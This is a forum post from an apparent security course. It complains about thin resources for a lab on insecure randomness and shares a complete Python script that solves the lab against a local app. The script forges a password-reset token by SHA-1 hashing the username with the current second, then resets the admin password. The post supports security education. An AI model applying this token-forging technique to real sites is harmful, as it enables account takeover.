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Lack of Resources for Lab 4.1 - Insecure Randomness in Web Applications
nemetschek
Posts: 1
Hello everyone,
I've been working on Lab 4.1, which involves exploiting weak randomization in a password reset function. However, the provided resources are insufficient for completing the lab effectively.
- No guidance on interacting with the web application endpoints to exploit the vulnerability.
- The provided solution uses a static datetime, not reflecting the dynamic nature of the actual application.
To help others, here’s a script that completes the lab, with added print statements for clarity:
import requests import hashlib import datetime import time base_url = 'http://localhost:5000' # Step 1: Trigger the forget password functionality forget_password_url = f'{base_url}/passwordForget' admin_username = 'admin' print(f"[INFO] Initiating password reset for user '{admin_username}'...") response = requests.post(forget_password_url, data={'username': admin_username}) if response.status_code == 200: print("[INFO] Password reset request sent successfully.") else: print("[ERROR] Failed to send password reset request.") exit() # Step 2: Wait a second to ensure the timestamp is accurate time.sleep(1) # Calculate the reset token current_time = datetime.datetime.now() timestamp = current_time.second to_hash = admin_username + str(timestamp) reset_token = hashlib.sha1(to_hash.encode('utf-8')).hexdigest() print(f"[INFO] Calculated reset token: {reset_token}") # Step 3: Use the reset token to reset the admin's password reset_password_url = f'{base_url}/reset' new_password = 'password1' print(f"[INFO] Sending password reset request with token '{reset_token}' and new password '{new_password}'...") response = requests.post(reset_password_url, data={ 'resetToken': reset_token, 'username': admin_username, 'password': new_password }) if response.status_code == 200: print(f"[SUCCESS] Password for user '{admin_username}' has been reset to '{new_password}'.") else: print(f"[ERROR] Failed to reset the password. Server responded with status code {response.status_code}.")
2
Comments
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Thank you Nemetsheck.
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